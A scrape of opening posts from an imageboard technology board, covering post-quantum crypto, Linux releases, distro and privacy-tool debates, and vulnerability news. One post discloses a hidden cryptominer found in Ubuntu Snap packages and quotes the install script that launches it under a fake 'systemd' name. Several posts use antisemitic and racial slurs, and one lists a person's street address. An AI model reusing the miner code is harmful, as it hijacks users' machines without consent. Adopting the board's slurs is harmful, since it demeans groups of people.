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/tech/ Questions and Support

Bring all your hardware, software and other troubles here.

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Consumer Advice

Looking to buy something but aren't sure what to get? Ask here.

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ThinkPad (and Toughbook) thread

Old one hit 400 posts once again.

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C++ Discussion Thread

Are you for or agnist these:

- Templates


- Standard, C++ specific libraries

- How classes and everything related to them works

Generally, is(and why) C better than C++?

How you would fix it?


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/Crypto & ITSec general/


>NIST has initiated a process to solicit, evaluate, and standardize one or more quantum-resistant public-key cryptographic algorithms.

>In recent years, there has been a substantial amount of research on quantum computers – machines that exploit quantum mechanical phenomena to solve mathematical problems that are difficult or intractable for conventional computers. If large-scale quantum computers are ever built, they will be able to break many of the public-key cryptosystems currently in use. This would seriously compromise the confidentiality and integrity of digital communications on the Internet and elsewhere. The goal of post-quantum cryptography (also called quantum-resistant cryptography) is to develop cryptographic systems that are secure against both quantum and classical computers, and can interoperate with existing communications protocols and networks.

>The question of when a large-scale quantum computer will be built is a complicated one. While in the past it was less clear that large quantum computers are a physical possibility, many scientists now believe it to be merely a significant engineering challenge. Some engineers even predict that within the next twenty or so years sufficiently large quantum computers will be built to break essentially all public key schemes currently in use. Historically, it has taken almost two decades to deploy our modern public key cryptography infrastructure. Therefore, regardless of whether we can estimate the exact time of the arrival of the quantum computing era, we must begin now to prepare our information security systems to be able to resist quantum computing.


>We know from the Snowden documents that the NSA is conducting research on both quantum computation and quantum cryptography. The NSA is worried enough about advances in the technology to start transitioning away from algorithms that are vulnerable to a quantum computer. Unlike most personal and corporate applications, the NSA routinely deals with information it wants kept secret for decades. Even so, we should all follow the NSA's lead and transition our own systems to quantum-resistant algorithms over the next decade or so -- possibly even sooner.


Ok so if the NSA is interested, why shouldn't we be as well?

Now, for a blog-post of what keeps me up at night:

So, long story short, I'm an electronics student who likes networking and programming more than he likes hardware.

Rather than studying about opamps and the like, I picked subjects in uni pertaining to cryptography and computer networks.

However, my math is shit, and we keep being told we should under no circumstance 'roll our own' crypto.

Thing is, I feel like all the stuff I studied in the last 2 years are out the window once post-quantum becomes a thing. And in order to survive the transition wave I'd be required to learn my ass off regarding how the math for quantum computing and post-quantum crypto primitives work, or risk almost instant obsolescence.

Is this a valid concern?

Note that I'll be bumping this thread from time to time, as I'm studying this shit and will try to provide informative easy-to-digest posts about whichever pq candidate I'll be reading about.

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Dig Deeper - personal tech site

Hi guys, just dropping in to shill my website at https://digdeeper.neocities.org. Right now it has 6 articles - three about browsers, one rating internet forums by how much they allow privacy/anonymity, one on the Salix Linux distribution and one on my recommended Linux software (unfinished).

Before this, I was helping the https://spyware.neocities.org/ guy for a long time (much of the stuff on browsers is written by me), but I've decided to expand my horizons. Anyway, check it out!

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What is the oldest forum or chatroom you still use?

for me, pic related

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Terry A. Davis

Hobo in Portland Edition

>currently in Portland

>currently uploading videos daily through local library

His YouTube channel:


He should be able to receive mail sent to this address:

>Terrence A. Davis

>650 NW Irving St.

>Portland, OR 97209

His e-mail address (you can send him money via PayPal):


IRC channel: #templeos-irc on Rizon beware of tsheikhs and kenster

Older threads:




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Is possible to be pro free software and still use windows?

I've tried to use only linux software, but audio is just so crappy on linux, even lmms has better support on the windows version.

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Whats the most a e s t h e t i c laptop?

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Mesh networking

Is anyone here part of a local meshnet/community network, like this one? https://nycmesh.net/

What's it like?

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The Linux Foundation officially endorses Microsoft's acquisition of GitHub

By Brian Fagioli

The world is crazy right now. We have a reality TV star in the White House, and day after day, there are unbelievable things being reported in the news. Sometimes I wonder if I am dreaming, but sadly, this is real life. Try as I might, I can't wake up.

You know what else is crazy? The Linux Foundation is officially endorsing Microsoft's acquisition of GitHub! OK, maybe that isn't so crazy nowadays, but if you could get in a time machine and go back, say, 10 years, and you told people that not only was Microsoft an official Linux Foundation Member, but the foundation was endorsing the Windows-maker's purchase of a massive repository that hosts millions of open source projects, you'd probably be put in an asylum.

"Should the open source community be concerned? Probably not. Buying GitHub does not mean Microsoft has engaged in some sinister plot to 'own' the more than 70 million open source projects on GitHub. Most of the important projects on GitHub are licensed under an open source license, which addresses intellectual property ownership. The trademark and other IP assets are often owned by a non-profit like The Linux Foundation. And let’s be quite clear -- the hearts and minds of developers are not something one buys -- they are something one earns," says Jim Zemlin, Executive Director, The Linux Foundation.

Zemlin further says, "Why would Microsoft do this? It seems simple to me. Steve Ballmer was half right with his famous 'developers, developers, developers' cheer. He just didn't factor in the 'open source' developers that he famously discounted. Satya Nadella has righted that oversight in a spectacular way this week. Microsoft has always loved developers and wants to make a business of providing developers with great tools in order to help them to create great technology. It is literally their mission on the about page of their web site: 'To empower every person and every organization on the planet to achieve more.' Today more than 28 million of those developers are on GitHub."

While many hardcore Linux and open source purists will decry Zemlin's gushing praise of Microsoft, he isn't wrong here. Look, long gone are the days where Microsoft was the big and scary enemy. As mentioned earlier, the company is now a member of the Linux Foundation -- platinum, no less. Not to mention, there are Linux distros in the Microsoft Store for Windows 10 these days!

Ultimately, Microsoft's money can only make GitHub stronger and better. If you aren't aware, GitHub has never turned a profit -- isn't Microsoft's takeover preferable to the Git repository simply going out of business and disappearing altogether? I'd say yes.

Do you think The Linux Foundation is correct to endorse this acquisition, or has it betrayed both the Linux and open source communities? Please tell me in the comments below.


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Java #1

I poo'd extra hard when i heard this.

Java is still the best language, followed by JS and Python.

Great to see all these amazing languages leading the tech world!


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Codec thread: Corrupted segment_ids edition

How in the fug can Jewgle expect their RFOSS codecs to achieve widespread adoption rivaling that of AVC when the AV1 reference encoder runs at the speed of olympic molluscs with a 10% chance of shitting out a valid bitstream?

VP9 so far has only been adopted by Jewtube and the occasional Cambodian stone carving forum while its HEVC adversary is seeing slow but steady adoption by weebs and even hardware manufacturers despite being riddled with royalties and confusing patent licensing schemes.

If you could design your own ideal digital video coding standard regardless of patent/copyright infringement what would you put in it /tech/?

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If Lisp is so good, how come nobody has even made a text editor with it? No, Emacs doesn't count, it's not pure lisp.

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Was there any particular piece of technology that downgraded throughout the years and was at a higher level lets say in the 80s-90s?

i am talking about anything general like radios,radars,eletronics e.t.c

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/PPC/ PowerPC General

General discussion about PowerPC computers, mainly Macs

General info:

-Cheap as fuck

-PowerBook G4's and iBook G4's have their CPU'S SOLDERED. MOBO's are cheap though

-It's not x86 (which is a good thing)

-Great keyboards. Apple used to produce some A-grade keyboards (on par with classic thinkpad keyboards)

-powermac g5's are absolute powerhouses. beats the shit out of core 2 quads. ram upgradeable to 16gb. less noisy than modern computers ;)

-If you get one I highly suggest getting a Mac one. Apple, despite being shit these days, produces a shitton of parts for all their products. If something goes wrong, you can fix it with little cost

-Again, CHEAP!

-iBook G4 slightly less powerful PowerBook. RAM upgradeable to 1.5gb. A bit more common, and a bit less money. I'd go with a PowerBook

-PowerBook G4's ram can be upgraded to 2gb

OS choices:



-FreeBSD, despite being cuck'd, probably supports PPC the best of any OS


-Vine Linux (Japanese distro)

-Debian Netinst/Ubuntu Server*

*netbsd is less secure than most bsd's. although it probably will support powerpc throughout its entire life because that's the projects main goal, support as many architectures as it can

*gentoo has you compile everything from source. on an old powerpc this can be extremely long and time consuming, it will definetely benifet from the speed boosts after the compiles though

*debian/ubuntu use systemd which might slow it down, ubuntu has snaps enabled which might slow it down. will most likely drop support soon

USE A WINDOW MANAGER. Every desktop environment uses 300+ mb of memory, which'll definetely impact anything less than 2gb of memory. I recommend a tiling window manager





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Best *bin site?

What is your favorite pastebin-like service? I'm looking for something good with a CLI client that I can use.

I have been using hastebin.com for quite some time due to it's easy-to-use cli that uploads directly to hb:


cat file | haste --raw # or

haste file --raw


It has served me well, but lately it's been giving me weird SSL/TLS errors when using it with curl on some of my boxen even after fixing the date iirc. Anyone else seen this? Should I host my own haste-server or should I use some other service?





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How come net neutrality which didn't matter at all was so over hyped while there is an actual threat to the internet (Article 13/Link Tax) haven't been hyped at all?

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Debian-based deepin Linux 15.6 now available

By Brian Fagioli

deepin Linux is controversial because its developers are in China. You see, some people are suspicious of a Linux distribution that comes from that country. If you feel that way, that's your business. But you know what? I am personally sick and tired of such xenophobia these days. Let's not forget, many goods come from China -- including personal computers and associated components. Not to mention, the OS is largely open source.

Controversy aside, deepin is a great operating system for both Linux beginners and experts alike. Not only is it stable thanks to its Debian base, but it has a very polished and focused user experience. Today, version 15.6 becomes available, and it is loaded with improvements.

"Compared with last edition deepin 15.5, deepin 15.6 mainly added disable display scaling function for HiDPI screens, left navigation bar and music cover plugin in Control Center; developed the welcome program and new Deepin Manual for easier use. Besides the further optimization of deepin desktop environment, a newlook Launcher was designed, Dock, Control Center and the relevant desktop components were optimized partly as well," says the deepin Linux Team.

The team also says, "In the development of deepin 15.6, besides adding new functions and improving the original functions, 217 bugs were fixed, excluding the bugs fixed after internal test. These bugs were fixed for desktop environment, deepin native applications, other applications, kernels, and Deepin File Manager, with 17 fatal bugs, 18 serious bugs, 152 normal bugs, and 30 enhancements."

The deepin team shares the following significant improvements to the operating system.


Optimized the icon order on dock;

Optimized the app name displaying on the tray;

Optimized the display logic in multi-screen condition (dock is not in the middle of both screens any longer);

Optimized the plugins on dock;

Optimized the program logic for wallpaper storage and selection.

Control Center

Optimized account logic and prompts;

Optimized the scroll effect;

Optimized the interaction of notification list;

Optimized the system volume range.


Optimized the display effect for workspace switching.


Optimized the logic of login interface;

Optimized the login animation;

Optimized the transmission speed of Deepin File Manager;

Optimized cache display logic for wallpaper settings;

Optimized the action and the animation effects of notification messages;

Optimized the components performance and the resource consumption;

Optimized the overall compatibility for other applications.

The team also shares the following known bugs.

Deepin Remote Assistance sometimes did not work;

EFI verification error in the log when loading kernel, but it did not affect normal use;

System crashed sometimes when switching languages;

Page content was not shown in Deepin Store when the network was connected;

Dock may be unresponsive in some situations;

The screenshot file of Deepin Screenshot flatpak version cannot be saved out of user directory;

Deepin Image Viewer had performance problems with a large number of images.

If you decide to give deepin a try -- and I hope you do -- you can grab an ISO here. Keep in mind, it is only available for 64-bit computers -- that shouldn't be an issue in 2018.

Do you have trouble trusting a Linux distribution because it comes from China? Please tell me why or why not in the comments below.


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Google brings Wi-Fi to 400 Indian train stations

By Brian Fagioli

For many in the USA, having access to the internet is a given -- we don't give it a second thought. When you are home, you have broadband and Wi-Fi, and when out and about, your smartphone has LTE.

In other countries, however, access to the internet isn't as ubiquitous. India, for instance, has many locations where getting online is a hardship. Google has been looking to change this with its "Next Billion Users" initiative, and one of its projects -- "Google Station" -- has seen tremendous growth. You see, the search giant has been gradually adding free Wi-Fi hotspots to Indian train stations, and today, it announces a huge milestone -- there are now 400 stations with Wi-Fi.

"Today, we're proud to announce that Dibrugarh railway station in Assam state, northeast India is the 400th train station in India to be powered by public Wi-Fi. There are now over 8 million people getting online with Google Station every month. On average, people consume 350MB of data per session, roughly the size of a half hour television episode and over half of the people using Google Station engage in multiple online sessions a day. Some are watching videos, some are chatting with friends, but like Shrinath and Helen, they are all actively seeking that Wi-Fi connection to get things done during their day," says Caesar Sengupta, VP Next Billion Users Team, Google.

Sengupta further says, "Although we have hit the target of 400 train stations, our journey remains unfinished. India has the second largest population of internet users in the world, but there are still almost a billion Indians who aren’t online. There are millions of other life-changing journeys that still haven’t been taken. We realize that not everyone in India lives or works near a train station, so we’re moving beyond train stations and into the rest of the cities. Google Station is now also available in 150 locations in Pune, Maharashtra and more Smart Cities are coming soon."

Google Station is quite inspiring, and it is heartwarming to know the company plans to expand even further. True, while internet access is not as important as say, medicine, food, or water, it is still critical to success in modern times. You never know -- the next internet billionaire may get his/her start by getting online at a local train station, and that's a good thing.


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Google releases open source 'GIF for CLI' terminal tool on GitHub

By Brian Fagioli

Tomorrow is the GIF's 31st anniversary -- exciting, right? Those animated images have truly changed the world. All kidding aside, it is pretty amazing that the file format came to be way back in 1987!

To celebrate tomorrow's milestone, Google releases a new open source tool today. Called "GIF for CLI," it can convert a Graphics Interchange Format image into ASCII art for terminal. You can see such an example in the image above.

"Just in time for the 31st anniversary of the GIF, GIF for CLI is available today on GitHub. GIF for CLI takes in a GIF, short video, or a query to the Tenor GIF API and converts it to animated ASCII art. This means each time you log on to your programming workstation, your GIF is there to greet you in ASCII form. Animation and color support are performed using ANSI escape sequences," says Sean Hayes, Tenor.

Hayes further says, "When the command line program is run, it takes the chosen .gif file (file, url, or Tenor query) and uses ffmpeg to split the animated gif or short video into static jpg frames. Those jpg frames are then converted to ASCII art (these ASCII art frames are cached in $HOME/.cache/gif-for-cli). The program then prints one frame at a time to the console, clearing the console using ANSI escape sequences between each frame."

If you want to try GIF for CLI yourself, you can check it out on the Microsoft-owned GitHub here. While it does seem a bit silly that Google invested resources into such a tool, it does look like a lot of fun. If you do try it, the search giant invites you to share the results on Twitter using the #GIFforCLI hashtag.


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C and UNIX

I know we can shit on C/UNIX forever about X, but lets have a thread where we actually list GOOD things about C/UNIX concepts and paradigms. I'll start.

You will never find a more worldwide supported language than C. Since the birth of the IBM PC, C has been THE standard in technology and the basis of everything modern computers use. The software you using to view this post most likely has been either written in C, or written in a language that is based off C, not to mention using libraries written in it that are required to function.

LISPjew need not apply, infact I foretell that this thread will make him beyond shitter shattered he'll spam the thread. I have only one question to ask him, why the lack of competion?

I've always wondered if this story was true, and who it was who wrote
the find command. In the Oct. 94 issue of Byte they had an article on "UNIX
at 25" which said that Dick Haight wrote the find command along with cpio,
expr, and a lot of the include files for Version 7 of UNIX. I don't know
where to send this message directly to Dick Haight, and I would appreciate it
if you would forward it to him, if you are able. If you can't, well then I
hope you liked the story. I got your mail address from "The UNIX Haters
Handbook", and would like to add this to your Anti-Forward:

Until that frozen day in HELL occurs, and the authors of that book write
a better operating system, I'm sticking with UNIX.


Dan Bacus

Hail to the king, baby.

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Cicada 3301 thread

Dump your ideas and techniques for ARGs here.




Ideas: PGP, Prime cracking, Steganography

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The most secure messenger in the world

XMPP aka Jabber - is most secure messenger in the world



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Retroshare thread!

Retroshare is a p2p program providing email, chat rooms, file sharing, forums, channels, over fully encrypted tunnels. It can replace most things you need to do online. Find it at http://retroshare.net/ or through your distributions package manager. Retroshare has gotten many new features recently.

Retroshare supports full hidden service mode. When you get to the profile creation popup don't use the default. Instead click the advanced button and then configure your tor hidden service. This adds another layer of encryption and provides anonymity. We have a chatroom on retroshare right now. Come try it out!


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The Vulnerability Vulnerability

In recent times, it has become increasingly common to hype up vulnerabilities and create an air of terror around them. We have seen this happen in the past with vulns such as Heartbleed, Shellshock, Spectre, and Meltdown.

Now, In those cases, the extreme hyping and media freakouts about them were rather justified. These were bug vulnerabilities, and the more publicity they got, the better, as more people could be aware of the threat.

However, I feel that this could become a very bad trend, and could be used by (((them))) for nefarious purposes. Certain actors with malicious intents could over-hype or fabricate vulnerabilities in an attempt to sway the public's choices and mislead them.

Need proof? We've technically already seen it happen twice. First it was CTS-Labs's clear attempt to manipulate the market through their amdflaws.com website, which tried to make people think there was some spectre/meltdown-tier stuff happening with AMD processors, with catchy names like Ryzenfall, Masterkey, Fallout, and Chimera. The vulnerabilities require administrative account access to the machine in order to exploit, and according to some anons at the time, you actually need physical access to the machine, although CTS-Labs would like you to believe otherwise.

Another example would be Efail. I'm not really 100% sure on this one, but from what I gather, most of it could be dodged by simply using plaintext email. The EFF on the other hand, decided to tell readers of their blog to STOP USING PGP ENTIRELY!!

It was also easy to see in some of those articles that they were shilling hard for Signal: a centralized """private""" messaging app. Suspicious, wouldn't you say? especially as Signal is, as I said, not decentralized.

I really hope this doesn't become a big trend. I can see it being used to try to get people to use less secure or more spying software out of fear of a made up scare. Your thoughts?

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Tell me everything you know about building a physics engine for fluid simulation.

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Stop wasting time and use Slackware!

I see distros like Void, Arch and Gentoo get recommended far too much here. Most /tech/ users are either people who just need a web browser, programmers of small projects or a mix in between. Most people here don't need 90% of the stuff modern distros provide them! The solution?


Reasons for Slackware:

-No dependency management. Normal users don't spend their time installing, uninstalling and generally messing around with package management. This might be helpful for devs but normal users don't need it! KISS

-Simple init. Again, normal users don't need advanced functions like process supervision (advanced at least). Again, useful for devs and sysadmins, not regular users or programmers! (small project devs at least)

-Stable as fuck! Take a look at https://www.linuxquestions.org/questions/slackware-14/. Most questions you see aren't people asking help because of a problem with their init or package management, it's things like asking how to manage stuff and get shit done

Recent posts:




Then look at the Debian forum! https://www.linuxquestions.org/questions/debian-26/

Recent posts:




These poor souls!

Continuing reasons for Slackware:

-Tons of packages! Niche packages like Qutebrowser are fully supported here :-)

-SIMPLE! Slackware sets out to be SIMPLE and simple it will stay. You never have to worry about it switching to systemd like Debian users did. Slackware does not change if it does not need to.

-All official Slackware tools programmed in pure C

-Knowledgeable and friendly community

If you're using Slackware, you're doing it right. If you aren't using Slackware, you're doing it wrong. (That is if you don't require advanced functions in your init and package manager then use something like Gentoo + systemd or, dare I say it, D*bian!)

What are you waiting for?




YT tutorial for things like package management:


More propaganda:








You can even bloat Slackware!


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/tech/ social networking

I have no idea how to phrase this so it sounds bad title wise and I apologies.

Many of us here are way outside the realms of acceptable opinions. We clash with pretty much everything the tech industry is doing now but we also love tech. This leaves us in a bad situation where we want to be involved but have to completely lie about ourselves to do so.

How do you go about it? What do you find helps you get in people's good books and lets you build up associates? How many times have you failed and what was the results?

Are there any books or videos you would recommend for people trying to improve their social skills for networking purposes?

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Routers as computers

Recently found a WRT54G at a local goodwill and I thought to myself why these aren't used as actual devices? People love to install openWRT and ssh into them. Why hasn't anyone try to interface them with some bitmap graphics terminal with them like the Blit originally was and use it as a tiny computer? They're essentially SBCs with decent enough MIPS/ARM chips in them.

I can't help, but get rock on for these routers. I really like the blue aesthetic.

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Don't give your DNA to a company!!!

>Hacked: 92 Million Account Details for DNA Testing Service "MyHeritage"

>On Monday MyHeritage announced a security researcher had uncovered tens of millions of account details for recent customers, including email addresses and hashed passwords.

>Users of the Israeli-based company can create family trees and search through historical records to try and uncover their ancestry.

>In January 2017, Israeli media reported the company has some 35 million family trees on its website.

>In all, the breach impacted 92,283,889 users, according to MyHeritage’s disclosure.



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What in the everlasting fuck is it with modern websites?!

>cookie warnng popup

>newsletter popup

>download our app popup

>take a survey popup

>pls register account popup

99% of frontend developers deserve to be stabbed, hanged, shot, dismembered and shitted on at this point.

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The Cancer Spreads

(((Go))) now has a CoCk. Gofags BTFO, C master race.


It was created by jewgle, what did anyone expect honestly?

The Go CoCk bans, among other things, "microaggressions" and "unwelcome sexual attention" (NoHugsBSD).

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Why is Cinnamon the best DE? No other DE I've tried is as customizeable and loaded with keyboard shortcuts. Best file manager too, just a simple ctrl+tab doesn't work in any other file manager I've tried when working with multiple tabs open.

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New Lazy FP State Restore Vuln Affects All Intel Core CPUs


New Lazy FP State Restore Vulnerability Affects All Intel Core CPUs

By Brian Fagioli

>What a horrible year in security for Intel. First we had the Meltdown and Spectre vulnerabilities that never seem to go away. Now Intel has announced a new speculative execution side channel vulnerability involving "Lazy FP state restore" that could allow a malicious program to read data being used by other processes.

>According to Intel this new vulnerability affects all Intel Intel Core-based microprocessors and is a bug in the actual CPU, so it does not matter what operating system the user is running. It could be Windows, Linux, BSD, or any other operating running an an Intel Core-based CPU and using "Lazy FPU context switching".

>"Lazy FPU context switching" is a performance optimization feature used by operating systems that only saves and restores the FPU (Floating Point Unit) registers, which are locations in the CPU that are used to store floating point numbers, when needed. A bug in the actual Intel CPUs allows another process to access these registers and the data within them.

>The problem is that these numbers are used for a variety of tasks, including cryptographic equations. This could allow an attacker to sniff out numbers that make it easier to crack an encryption key.

>Thankfully, researchers state that this vulnerability would be difficult to execute via a web browser, so its impact is less than previous speculative execution vulnerabilities such as Meltdown.

>Intel has told BleepingComputer that this vulnerability has been addressed by operating system and hypervisor software for many years.

<"This issue, known as Lazy FP state restore, is similar to Variant 3a. It has already been addressed for many years by operating system and hypervisor software used in many client and data center products. Our industry partners are working on software updates to address this issue for the remaining impacted environments and we expect these updates to be available in the coming weeks. We continue to believe in coordinated disclosure and we are thankful to Julian Stecklina from Amazon Germany, Thomas Prescher from Cyberus Technology GmbH, Zdenek Sojka from SYSGO AG, and Colin Percival for reporting this issue to us. We strongly encourage others in the industry to adhere to coordinated disclosure as well."

Vendors rush to release advisories

>Rumors about this bug have been circulating since OpenBSD and DragonFlyBSD posted notices about patches that fixed rumored Intel vulnerabilities. These notices indicated that there was a supposed hardware issue related to the FPU registers in Intel CPUs and decided to proactively patch their operating systems.

>The good news is that this vulnerability does not require new CPU microcodes from Intel, but can be fixed instead by operating system updates. Since Intel's advisory was posted, various Linux distributions and Microsoft have posted advisories related to this new vulnerability.


"Reportedly, AMD processors are not affected with this vulnerability"

This is the part where we throw our heads back and laugh.

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/botnet/ Botnetpunk General


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Replicant (live project)


>old Samsung phones

>Android 6 that is botnet-obliterated

>FSF approved

>well documented

>you can compile your own without the blobs but you'll end up with a broken wifi probably (use micro USB to RJ45)

>POTUS (lurk more)

PostmarketOS (live project)


>under development

>seems very promising especially that Nokia 900




LineageOS (Best usability but not adviced)(live project)


>Android without Google but still uses kernel blobs without proper documentation




Mediatek devices in general have released source of chipsets like Mtk6580 and Mtk6797(X20)

>usually happens when consumers repeatedly request manufacturers until they get tired

>usually device specific but may affect other devices which have the same schematics/looks (OEM based brands)

>schematics aren't open sourced tho

search keyword: Mediatek releases open source.. or Chipsetmanufacturer releases open source..



>mediatek devices with open sourced kernel but the blobs might still be blobs

search keyword: Develop arm board



>buy arm boards

>better than your average rPi IoT underpowered hype bullshit

>arm botnet tho


>buy anything

>look for the board 'FRP' numbers or alphanumerics lasered in it

>encrypt firewall

>hack the shenzen directory indexes

>reverse engineer it

>??? 阅读中文



Most are likely still botnet and may act as beacon during targeted attacks

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>FSF approved

>project halted?



>alternative boot but it's just boot for gentoo chromemes

Conclusion (same as above):

Most are likely still botnet and may act as beacon during targeted attacks

>even processors post pentium4 have beacons in them

>there might also be a switch which lets manufacturers remotely kill your device

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>IBM power

>workstation class


>have 1000memecoins

>killall cianiggers





Free from botnet?

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Windows 10

Since it doesn't have a thread, and it isn't going anywhere, it might as well have one. Haters gtfo.

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KDE Plasma 5.13 released with all new blur effect


Bretty good if you ask me. I'm a minimal autist but if I'm not using a wm I'm using Plasma.

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Announcing Rust 1.24

The Rust team is happy to announce a new version of Rust, 1.24.0. Rust is a systems programming language focused on safety, speed, and concurrency.

This release contains two very exciting new features: rustfmt and incremental compilation!

For years now, we’ve wanted a tool that automatically can reformat your Rust code to some sort of “standard style.” With this release, we’re happy to announce that a preview of rustfmt can be used with 1.24 stable.

Back in September of 2016 (!!!), we blogged about Incremental Compilation. While that post goes into the details, the idea is basically this: when you’re working on a project, you often compile it, then change something small, then compile again. Historically, the compiler has compiled your entire project, no matter how little you’ve changed the code. The idea with incremental compilation is that you only need to compile the code you’ve actually changed, which means that that second build is faster.

As of Rust 1.24, this is now turned on by default. This means that your builds should get faster! Don’t forget about cargo check when trying to get the lowest possible build times.

This is still not the end story for compiler performance generally, nor incremental compilation specifically. We have a lot more work planned in the future. For example, another change related to performance hit stable this release: codegen-units is now set to 16 by default. One small note about this change: it makes builds faster, but makes the final binary a bit slower. For maximum speed, setting codegen-units to 1 in your Cargo.toml is needed to eke out every last drop of performance.



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Quit shilling this pile of shit


>praises go as innovative

>quotes reddit users to validate their arguments

they themselves don't explain fucking anything. they just quote people

>vim is harmful

>GPL is harmful

>doesn't mention that glibc has recently been cutting huge amounts of unneeded code

>netbsd is harmful

>thinks fucking awk is a replacement for perl/ruby

>zsh, this godsend of a shell, is harmful

Why is this so commonly linked? These people blindly think that ANYTHING that has less lines of code than something else it makes it better.

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hurrdurr ms bought github

>lets all move to gitlab instead!

Fucking retards

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Obscure but good linux distributions

I'll start: NixOS

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An appeal to all other European anons


We're reaching the final stretch boys. If any of you live in the Eurozone Or you've got a VPN and a good grasp on a foreign language then please, by all means, try any of the three methods to spread awareness and tell your MEPs (preferably those of already Euroskeptic countries such as Poland, Italy or Austria) to veto this shit.

Highlights include:

>You can't crosslink anymore if an automatic copyright infringement bots says so, so say goodbye to all your Mega links to vidya

>You can't use items under Fair Use laws if the bot says so, again, meaning you can't make your own articles or reviews

>You're not allowed to parody, so all those dank videos of CIA and Bane doing wacky things together are at risk

The only good news is that it would mean the end of shit like Twitch and Reddit, but you all know where they're going to move towards if this shit passes spoiler: they'll become our rapefugees

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Best Darknet To Run a Wiki From

What is the least compromised darknet? What is the best one that you can run a standalone website from?

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Matrix Chat Protocol

Matrix is an open standard for inter-operable, decentralized, real-time communication over IP. It can be used to power Instant Messaging, VoIP/WebRTC signalling, Internet of Things communication - or anywhere you need a standard HTTP API for publishing and subscribing to data whilst tracking the conversation history.

Matrix defines the standard, and provides open source reference implementations of Matrix-compatible Servers, Clients, Client SDKs and Application Services to help you create new communication solutions or extend the capabilities and reach of existing ones.

>What is it

Matrix is a FreeSource federated chat protocol with features similar to Discord, introduced in 2014.

Federated means that you can host your own homeservers and join chatrooms/channels hosted on other servers . This is similar to sending emails from Gmail to Yahoo or placing phonecalls from Verizon to Softbank.

>Is it safe

You can encrypt your messages with a key that's only ever stored on your device, so you don't even necessary need to trust the chat servers.

This feature is currently in Beta.

>What's the advantage over IRC

You can post images, videos, upload files and you don't need to run a client or relay server to remain online. Chat logs are served automatically should the room owner choose to enable them.

Servers can also enable an IRC-bridge feature which allows you to join IRC networks, like Rizon, using the server as a persistent relay.

Separate from this, there is also support for mirroring your existing IRC channels into a Matrix Room in order. This creates a chat room that can be accessed from either IRC or Matrix with all the messages posted from either available to everyone.

>What's the advantage over Discord

Matrix is for Straight People.

You also get better security, ability to have a nigger-hating room without being banned, and ability to run a client of your choice on any platform, and the ability to choose your own server.

>What clients are currently available?

A list of popular clients are available at https://matrix.org/docs/projects/try-matrix-now.html

You can also try the service as a guest through the Riot webapp.

>Does 8Chan have a room?

Unofficially at https://riot.im/app/#/room/#8chan:matrix.org.

An official room could allow integration with #8chan@rizon.net such that you can chat on any service. This requires permission from the admin of the IRC channel.

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Gnome or KDE?


Which are you using and why?

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Godot holding an open source game jam

Godot is having a game jam starting on Friday and ending sometime on Monday. They're still voting on the theme https://framaforms.org/theme-for-godot-jam-june-2018-1528803026 but all entries are supposed to be open source and it's probably a good excuse for some /tech/ shitposting.

Libbie games when


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The Tor Illusion

Is this crap supposed to "protect your anonymity" ? The fact is, you can't use it almost anywhere. It's "attention required" after "attention required". Some websites don't even provide that, but inexplicably ban your IP. Most forums won't allow you to register. And even here, I can't post with Tor since the captcha just keeps appearing...

Is Tor an illusion?

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LINUX is obsolete


Don`t get me wrong, I am not unhappy with LINUX. It will get all the people

who want to turn MINIX in BSD UNIX off my back. But in all honesty, I would

suggest that people who want a MODERN "free" OS look around for a

microkernel-based, portable OS, like maybe GNU or something like that.

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Devuan 2.0 ASCII Released

Devuan 2.0 ASCII has now caught up with Debian 9 Stretch in release, and is now only behind in the -updates repository


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What's your job like?

Embedded systems dev here

>Wake up at 5am in the same clothing you plan to go to work in.

>Brush white beard with your fingers.

>Feed all 4 of your cats, presumably on the kitchen counter.

>Enter your Prius for the daily work commute

>Listen to a combination of AM conservative talk radio, NPR, and Rush (the band, and the commentator).

> Proceed to coast at about 63mph in the 2nd-left lane of freeway.

>Chuckle sensibly when irate Audi javascript brogrammer swerves past you doing 90+.

>Get to cubicle, smelling of chinese food, cigerette smoke and despair

>Hit the filthy spacebar a few times to awaken a mid-2000 desktop pc (open case).

>The CRT illumates Windows 98 desktop that is littered with folders and files, covering an F-35 wallpaper.

> Launch a fully licensed version of IDA.

>crack knuckles and sit down in a computer chair that likely gets 2 star reviews at Staples.com

>Launch Real Audio player and connect to stream of John C. Dvorak show talking about computing trends.

>Get up and fill moldy coffee mug with bland coffee and some carcinogenic laden creamer powder.

>Gawk at the intern UXD intern, in her perfectly fengshui cubicle.

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>inherently difficult to spoof

>rock-solid rfc from the early 90s

>self-regeneration of carrier archictecture

>built-in worm detection

Why did RFC 1149 never catch on? This sounds like something /tech/ would love.


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Krita to depreciate Mac support

In light of the news of Apple halting support of OpenGL on MacOS, the Krita team has been forced to shelve their efforts on the platform.

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Malware found in Snaps distributed by Ubuntu

Some Snaps (probably all) of Nicolas Tomb contains miner! This is the content of init script of 2048buntu package:




{ # try

/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g

} || { # catch

cores=($(grep -c ^processor /proc/cpuinfo))

if (( $cores < 4 )); then

/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1


/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 2



Issue on github:


All snaps of Nicolas Tomb:



All Snaps of that author were removed from the store.

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A Computationally Easy Way to Approximate StdDev Over a Large-ish Data Set

I'm doing a small project for motion detection on some pretty restrained hardware (an old Packard Bell that my cousin had in her closet). I want to detect motion in a series of images taken from a video stream. Unfortunately, the noisy webcam is leading to some pretty garbage results in low light conditions when using a count of changed pixels as the threshold for motion.

My first thought for resolving this is to get the x and y positions of the changed pixels and see if their position is more than 'n' standard deviations away from the average. From there, I could exclude everthing outside of a certain threshold of 'n' as noise and only use the closest cluster as the detection. The problem with this is that I don't really have the computational resources to pull this operation every frame. I guess I could just get the sdev every few hundred frames, but even that is a bit much.

Another option would be to throw a blur filter over the image, but that may end up being more computationally intensive. What do you guys think would be the best move?

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The Real Computer Revolution Hasn’t Happened Yet



(This is all the dialogue from the video, for those who will not watch/scrape it.)

Instead of an *actual* revolution, we have the following:

Java, C++, Javascript, Web engineering [sic], Windows, modern Unix derivatives (including Linux, BSDs, OS X, iOS, Minix, Android, Plan 9), x86, ARM, and the whole "Cloud" business. (Also, decades before all this happened, C and Unix essentially extirpated more interesting languages (Pascal, Forth, Fortran, Lisp) and Operating Systems (ITS, Multics, VMS.)

Basically, post-Smalltalk and post-Symbolics computing is snake oil. We're in the dark ages, utilising repainted hardware and software from the 70s. The only thing that prevents it from collapsing is Moore's law (failing).

